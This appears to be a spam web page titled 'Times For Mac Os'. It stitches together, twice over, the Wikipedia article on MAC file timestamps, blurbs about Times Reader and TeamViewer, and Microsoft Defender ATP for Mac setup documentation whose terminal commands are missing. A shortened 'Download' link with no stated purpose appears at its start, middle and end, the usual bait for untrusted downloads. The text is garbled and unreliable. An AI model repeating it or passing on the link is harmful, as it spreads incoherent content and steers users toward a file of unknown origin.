Times For Mac Os
2020年11月5日Download: http://gg.gg/mwkha
MAC times are pieces of file systemmetadata which record when certain events pertaining to a computer file occurred most recently. The events are usually described as ’modification’ (the data in the file was modified), ’access’ (some part of the file was read), and ’metadata change’ (the file’s permissions or ownership were modified), although the acronym is derived from the ’mtime’, ’atime’, and ’ctime’ structures maintained by Unix file systems. Windows file systems do not update ctime when a file’s metadata is changed[citation needed], instead using the field to record the time when a file was first created, known as ’creation time’ or ’birth time’. Some other systems also record birth times for files, but there is no standard name for this metadata; ZFS, for example, stores birth time in a field called ’crtime’. MAC times are commonly used in computer forensics.[1][2] The name Mactime was originally coined by Dan Farmer, who wrote a tool with the same name.[3]Modification time (mtime)[edit]
A file’s modification time describes when the content of the file most recently changed. Because most file systems do not compare data written to a file with what is already there, if a program overwrites part of a file with the same data as previously existed in that location, the modification time will be updated even though the contents did not technically change.
Our website provides a free download of Times Reader2.053 for Mac. This free software for Mac OS X was originally created by The New York Times Company. The software belongs to Internet & Network Tools. This app’s bundle is identified as com.nyt.timesreader.6ADE80CB31E1C5DC987A.Access time (atime)[edit]
A file’s access time identifies when the file was most recently opened for reading. Access times are usually updated even if only a small portion of a large file is examined. A running program can maintain a file as ’open’ for some time, so the time at which a file was opened may differ from the time data was most recently read from the file.
*TeamViewer for Mac. Establish incoming and outgoing remote desktop and computer-to-computer connections for real-time support or access to files, networks and programs. Collaborate online, participate in meetings, chat with other people or groups, and make video calls in one-click.
*Note: You need to be logged in to your Admin Account in order to Enable or Disable the option for “Set Date and Time Automatically”. Correct Date & Time Manually On Mac. As mentioned above, your Mac can end up displaying incorrect time whenever you happen to cross a time zone while travelling and also due to minor software glitches on your Mac.
Because some computer configurations are much faster at reading data than at writing it, updating access times after every read operation can be very expensive. Some systems mitigate this cost by storing access times at a coarser granularity than other times; by rounding access times only to the nearest hour or day, a file which is read repeatedly in a short time frame will only need its access time updated once.[4] In Windows, this is addressed by waiting for up to an hour to flush updated access dates to the disk.[5]
Some systems also provide options to disable access time updating altogether. In Windows, starting with Vista, file access time updating is disabled by default.[6]Change time and creation time (ctime)[edit]
Unix and Windows file systems interpret ’ctime’ differently:
*Unix systems maintain the historical interpretation of ctime as being the time when certain file metadata, not its contents, were last changed, such as the file’s permissions or owner (e.g. ’This file’s metadata was changed on 05/05/02 12:15pm’).
*Windows systems use ctime to mean ’creation time’[citation needed] (also called ’birth time’) (e.g. ’This file was created on 05/05/02 12:15pm’).
This difference in usage can lead to incorrect presentation of time metadata when a file created on a Windows system is accessed on a Unix system and vice versa.[citation needed] Most Unix file systems don’t store the creation time, although some, such as HFS+, ZFS, and UFS2 do. NTFS stores both the creation time and the change time.
The semantics of creation times is the source of some controversy.[citation needed] One view is that creation times should refer to the actual content of a file: e.g. for a digital photo the creation time would note when the photo was taken or first stored on a computer. A different approach is for creation times to stand for when the file system object itself was created, e.g. when the photo file was last restored from a backup or moved from one disk to another.Metadata issues[edit]
As with all file system metadata, user expectations about MAC times can be violated by programs which are not metadata-aware. Some file-copying utilities will explicitly set MAC times of the new copy to match those of the original file, while programs that simply create a new file, read the contents of the original, and write that data into the new copy, will produce new files whose times do not match those of the original.
Some programs, in an attempt to avoid losing data if a write operation is interrupted, avoid modifying existing files. Instead, the updated data is written to a new file, and the new file is moved to overwrite the original. This practice loses the original file metadata unless the program explicitly copies the metadata from the original file. Windows is not affected by this due to a workaround feature called File System Tunneling.[7]See also[edit]References[edit]
*^Luque, Mark E. (2002). ’Logical Level Analyses of Linux Systems’. In Casey, E. (ed.). Handbook of Computer Crime Investigation: Forensic Tools and Technology. London: Academic Press. pp. 182–183. ISBN0-12-163103-6.
*^Sheldon (2002). ’Forensic Analyses of Windows Systems’. In Casey, E. (ed.). Handbook of Computer Crime Investigation: Forensic Tools and Technology. London: Academic Press. pp. 134–135. ISBN0-12-163103-6.
*^Dan Farmer (October 1, 2000). ’What Are MACtimes?’. Dr Dobb’s Journal.
*^’File Times’. Microsoft MSDN Library.
*^’File Times’. Microsoft MSDN Library.
*^’Disabling Last Access Time in Windows Vista to improve NTFS performance’. The Storage Team at Microsoft.
*^’Windows NT Contains File System Tunneling Capabilities’. Microsoft Support.External links[edit]
*Discussion about Windows and Unix timestamps (Cygwin project mailing list)Retrieved from ’https://en.wikipedia.org/w/index.php?title=MAC_times&oldid=890856176’ -->
Important
Welcome to Microsoft Defender for Endpoint, the new name for Microsoft Defender Advanced Threat Protection. Read more about this and other updates here. We’ll be updating names in products and in the docs in the near future.
This topic describes how to install, configure, update, and use Microsoft Defender ATP for Mac.
Caution
Running other third-party endpoint protection products alongside Microsoft Defender ATP for Mac is likely to lead to performance problems and unpredictable side effects. If non-Microsoft endpoint protection is an absolute requirement in your environment, you can still safely take advantage of MDATP for Mac EDR functionality after configuring MDATP for Mac antivirus functionality to run in Passive mode.What’s new in the latest release
Tip
If you have any feedback that you would like to share, submit it by opening Microsoft Defender ATP for Mac on your device and navigating to Help > Send feedback.
To get the latest features, including preview capabilities (such as endpoint detection and response for your Mac devices), configure your macOS device running Microsoft Defender ATP to be an ’Insider’ device. See Enable Microsoft Defender ATP Insider Device.How to install Microsoft Defender ATP for MacPrerequisites
*A Microsoft Defender ATP subscription and access to the Microsoft Defender Security Center portal
*Beginner-level experience in macOS and BASH scripting
*Administrative privileges on the device (in case of manual deployment)Installation instructions
There are several methods and deployment tools that you can use to install and configure Microsoft Defender ATP for Mac.
*
Third-party management tools:
*
Command-line tool:System requirements
The three most recent major releases of macOS are supported.
*10.15 (Catalina), 10.14 (Mojave), 10.13 (High Sierra)
*Disk space: 1GB
Beta versions of macOS are not supported. macOS Sierra (10.12) support ended on January 1, 2020.
After you’ve enabled the service, you may need to configure your network or firewall to allow outbound connections between it and your endpoints.Licensing requirements
Microsoft Defender Advanced Threat Protection for Mac requires one of the following Microsoft Volume Licensing offers:
*Microsoft 365 E5 (M365 E5)
*Microsoft 365 E5 Security
*Microsoft 365 A5 (M365 A5)
Note
Eligible licensed users may use Microsoft Defender Advanced Threat Protection on up to five concurrent devices.Microsoft Defender Advanced Threat Protection is also available for purchase from a Cloud Solution Provider (CSP). When purchased via a CSP, it does not require Microsoft Volume Licensing offers listed.Network connections
The following downloadable spreadsheet lists the services and their associated URLs that your network must be able to connect to. You should ensure that there are no firewall or network filtering rules that would deny access to these URLs, or you may need to create an allow rule specifically for them.Spreadsheet of domains listDescriptionSpreadsheet of specific DNS records for service locations, geographic locations, and OS. Download the spreadsheet here.
Microsoft Defender ATP can discover a proxy server by using the following discovery methods:
*Proxy autoconfig (PAC)
*Web Proxy Autodiscovery Protocol (WPAD)
*Manual static proxy configuration
If a proxy or firewall is blocking anonymous traffic, make sure that anonymous traffic is permitted in the previously listed URLs.
Warning
Authenticated proxies are not supported. Ensure that only PAC, WPAD, or a static proxy is being used.
SSL inspection and intercepting proxies are also not supported for security reasons. Configure an exception for SSL inspection and your proxy server to directly pass through data from Microsoft Defender ATP for Mac to the relevant URLs without interception. Adding your interception certificate to the global store will not allow for interception.
To test that a connection is not blocked, open https://x.cp.wd.microsoft.com/api/report and https://cdn.x.cp.wd.microsoft.com/ping in a browser.
If you prefer the command line, you can also check the connection by running the following command in Terminal:
The output from this command should be similar to the following:
OK https://x.cp.wd.microsoft.com/api/report
OK https://cdn.x.cp.wd.microsoft.com/ping7 Zip For Mac Os
Caution
We recommend that you keep System Integrity Protection (SIP) enabled on client devices. SIP is a built-in macOS security feature that prevents low-level tampering with the OS, and is enabled by default.
Once Microsoft Defender ATP is installed, connectivity can be validated by running the following command in Terminal:How to update Microsoft Defender ATP for Mac
Microsoft regularly publishes software updates to improve performance, security, and to deliver new features. To update Microsoft Defender ATP for Mac, a program named Microsoft AutoUpdate (MAU) is used. To learn more, see Deploy updates for Microsoft Defender ATP for MacMac Os For PcHow to configure Microsoft Defender ATP for Mac
Guidance for how to configure the product in enterprise environments is available in Set preferences for Microsoft Defender ATP for Mac.macOS kernel and system extensions
In alignment with macOS evolution, we are preparing a Microsoft Defender ATP for Mac update that leverages system extensions instead of kernel extensions. Visit What’s new in Microsoft Defender Advanced Threat Protection for Mac for relevant details.ResourcesCurrent Os For Mac
*
For more information about logging, uninstalling, or other topics, see the Resources page.
Download: http://gg.gg/mwkha
MAC times are pieces of file systemmetadata which record when certain events pertaining to a computer file occurred most recently. The events are usually described as ’modification’ (the data in the file was modified), ’access’ (some part of the file was read), and ’metadata change’ (the file’s permissions or ownership were modified), although the acronym is derived from the ’mtime’, ’atime’, and ’ctime’ structures maintained by Unix file systems. Windows file systems do not update ctime when a file’s metadata is changed[citation needed], instead using the field to record the time when a file was first created, known as ’creation time’ or ’birth time’. Some other systems also record birth times for files, but there is no standard name for this metadata; ZFS, for example, stores birth time in a field called ’crtime’. MAC times are commonly used in computer forensics.[1][2] The name Mactime was originally coined by Dan Farmer, who wrote a tool with the same name.[3]Modification time (mtime)[edit]
A file’s modification time describes when the content of the file most recently changed. Because most file systems do not compare data written to a file with what is already there, if a program overwrites part of a file with the same data as previously existed in that location, the modification time will be updated even though the contents did not technically change.
Our website provides a free download of Times Reader2.053 for Mac. This free software for Mac OS X was originally created by The New York Times Company. The software belongs to Internet & Network Tools. This app’s bundle is identified as com.nyt.timesreader.6ADE80CB31E1C5DC987A.Access time (atime)[edit]
A file’s access time identifies when the file was most recently opened for reading. Access times are usually updated even if only a small portion of a large file is examined. A running program can maintain a file as ’open’ for some time, so the time at which a file was opened may differ from the time data was most recently read from the file.
*TeamViewer for Mac. Establish incoming and outgoing remote desktop and computer-to-computer connections for real-time support or access to files, networks and programs. Collaborate online, participate in meetings, chat with other people or groups, and make video calls in one-click.
*Note: You need to be logged in to your Admin Account in order to Enable or Disable the option for “Set Date and Time Automatically”. Correct Date & Time Manually On Mac. As mentioned above, your Mac can end up displaying incorrect time whenever you happen to cross a time zone while travelling and also due to minor software glitches on your Mac.
Because some computer configurations are much faster at reading data than at writing it, updating access times after every read operation can be very expensive. Some systems mitigate this cost by storing access times at a coarser granularity than other times; by rounding access times only to the nearest hour or day, a file which is read repeatedly in a short time frame will only need its access time updated once.[4] In Windows, this is addressed by waiting for up to an hour to flush updated access dates to the disk.[5]
Some systems also provide options to disable access time updating altogether. In Windows, starting with Vista, file access time updating is disabled by default.[6]Change time and creation time (ctime)[edit]
Unix and Windows file systems interpret ’ctime’ differently:
*Unix systems maintain the historical interpretation of ctime as being the time when certain file metadata, not its contents, were last changed, such as the file’s permissions or owner (e.g. ’This file’s metadata was changed on 05/05/02 12:15pm’).
*Windows systems use ctime to mean ’creation time’[citation needed] (also called ’birth time’) (e.g. ’This file was created on 05/05/02 12:15pm’).
This difference in usage can lead to incorrect presentation of time metadata when a file created on a Windows system is accessed on a Unix system and vice versa.[citation needed] Most Unix file systems don’t store the creation time, although some, such as HFS+, ZFS, and UFS2 do. NTFS stores both the creation time and the change time.
The semantics of creation times is the source of some controversy.[citation needed] One view is that creation times should refer to the actual content of a file: e.g. for a digital photo the creation time would note when the photo was taken or first stored on a computer. A different approach is for creation times to stand for when the file system object itself was created, e.g. when the photo file was last restored from a backup or moved from one disk to another.Metadata issues[edit]
As with all file system metadata, user expectations about MAC times can be violated by programs which are not metadata-aware. Some file-copying utilities will explicitly set MAC times of the new copy to match those of the original file, while programs that simply create a new file, read the contents of the original, and write that data into the new copy, will produce new files whose times do not match those of the original.
Some programs, in an attempt to avoid losing data if a write operation is interrupted, avoid modifying existing files. Instead, the updated data is written to a new file, and the new file is moved to overwrite the original. This practice loses the original file metadata unless the program explicitly copies the metadata from the original file. Windows is not affected by this due to a workaround feature called File System Tunneling.[7]See also[edit]References[edit]
*^Luque, Mark E. (2002). ’Logical Level Analyses of Linux Systems’. In Casey, E. (ed.). Handbook of Computer Crime Investigation: Forensic Tools and Technology. London: Academic Press. pp. 182–183. ISBN0-12-163103-6.
*^Sheldon (2002). ’Forensic Analyses of Windows Systems’. In Casey, E. (ed.). Handbook of Computer Crime Investigation: Forensic Tools and Technology. London: Academic Press. pp. 134–135. ISBN0-12-163103-6.
*^Dan Farmer (October 1, 2000). ’What Are MACtimes?’. Dr Dobb’s Journal.
*^’File Times’. Microsoft MSDN Library.
*^’File Times’. Microsoft MSDN Library.
*^’Disabling Last Access Time in Windows Vista to improve NTFS performance’. The Storage Team at Microsoft.
*^’Windows NT Contains File System Tunneling Capabilities’. Microsoft Support.External links[edit]
*Discussion about Windows and Unix timestamps (Cygwin project mailing list)Retrieved from ’https://en.wikipedia.org/w/index.php?title=MAC_times&oldid=890856176’ -->
Important
Welcome to Microsoft Defender for Endpoint, the new name for Microsoft Defender Advanced Threat Protection. Read more about this and other updates here. We’ll be updating names in products and in the docs in the near future.
This topic describes how to install, configure, update, and use Microsoft Defender ATP for Mac.
Caution
Running other third-party endpoint protection products alongside Microsoft Defender ATP for Mac is likely to lead to performance problems and unpredictable side effects. If non-Microsoft endpoint protection is an absolute requirement in your environment, you can still safely take advantage of MDATP for Mac EDR functionality after configuring MDATP for Mac antivirus functionality to run in Passive mode.What’s new in the latest release
Tip
If you have any feedback that you would like to share, submit it by opening Microsoft Defender ATP for Mac on your device and navigating to Help > Send feedback.
To get the latest features, including preview capabilities (such as endpoint detection and response for your Mac devices), configure your macOS device running Microsoft Defender ATP to be an ’Insider’ device. See Enable Microsoft Defender ATP Insider Device.How to install Microsoft Defender ATP for MacPrerequisites
*A Microsoft Defender ATP subscription and access to the Microsoft Defender Security Center portal
*Beginner-level experience in macOS and BASH scripting
*Administrative privileges on the device (in case of manual deployment)Installation instructions
There are several methods and deployment tools that you can use to install and configure Microsoft Defender ATP for Mac.
*
Third-party management tools:
*
Command-line tool:System requirements
The three most recent major releases of macOS are supported.
*10.15 (Catalina), 10.14 (Mojave), 10.13 (High Sierra)
*Disk space: 1GB
Beta versions of macOS are not supported. macOS Sierra (10.12) support ended on January 1, 2020.
After you’ve enabled the service, you may need to configure your network or firewall to allow outbound connections between it and your endpoints.Licensing requirements
Microsoft Defender Advanced Threat Protection for Mac requires one of the following Microsoft Volume Licensing offers:
*Microsoft 365 E5 (M365 E5)
*Microsoft 365 E5 Security
*Microsoft 365 A5 (M365 A5)
Note
Eligible licensed users may use Microsoft Defender Advanced Threat Protection on up to five concurrent devices.Microsoft Defender Advanced Threat Protection is also available for purchase from a Cloud Solution Provider (CSP). When purchased via a CSP, it does not require Microsoft Volume Licensing offers listed.Network connections
The following downloadable spreadsheet lists the services and their associated URLs that your network must be able to connect to. You should ensure that there are no firewall or network filtering rules that would deny access to these URLs, or you may need to create an allow rule specifically for them.Spreadsheet of domains listDescriptionSpreadsheet of specific DNS records for service locations, geographic locations, and OS. Download the spreadsheet here.
Microsoft Defender ATP can discover a proxy server by using the following discovery methods:
*Proxy autoconfig (PAC)
*Web Proxy Autodiscovery Protocol (WPAD)
*Manual static proxy configuration
If a proxy or firewall is blocking anonymous traffic, make sure that anonymous traffic is permitted in the previously listed URLs.
Warning
Authenticated proxies are not supported. Ensure that only PAC, WPAD, or a static proxy is being used.
SSL inspection and intercepting proxies are also not supported for security reasons. Configure an exception for SSL inspection and your proxy server to directly pass through data from Microsoft Defender ATP for Mac to the relevant URLs without interception. Adding your interception certificate to the global store will not allow for interception.
To test that a connection is not blocked, open https://x.cp.wd.microsoft.com/api/report and https://cdn.x.cp.wd.microsoft.com/ping in a browser.
If you prefer the command line, you can also check the connection by running the following command in Terminal:
The output from this command should be similar to the following:
OK https://x.cp.wd.microsoft.com/api/report
OK https://cdn.x.cp.wd.microsoft.com/ping7 Zip For Mac Os
Caution
We recommend that you keep System Integrity Protection (SIP) enabled on client devices. SIP is a built-in macOS security feature that prevents low-level tampering with the OS, and is enabled by default.
Once Microsoft Defender ATP is installed, connectivity can be validated by running the following command in Terminal:How to update Microsoft Defender ATP for Mac
Microsoft regularly publishes software updates to improve performance, security, and to deliver new features. To update Microsoft Defender ATP for Mac, a program named Microsoft AutoUpdate (MAU) is used. To learn more, see Deploy updates for Microsoft Defender ATP for MacMac Os For PcHow to configure Microsoft Defender ATP for Mac
Guidance for how to configure the product in enterprise environments is available in Set preferences for Microsoft Defender ATP for Mac.macOS kernel and system extensions
In alignment with macOS evolution, we are preparing a Microsoft Defender ATP for Mac update that leverages system extensions instead of kernel extensions. Visit What’s new in Microsoft Defender Advanced Threat Protection for Mac for relevant details.ResourcesCurrent Os For Mac
*
For more information about logging, uninstalling, or other topics, see the Resources page.
Download: http://gg.gg/mwkha
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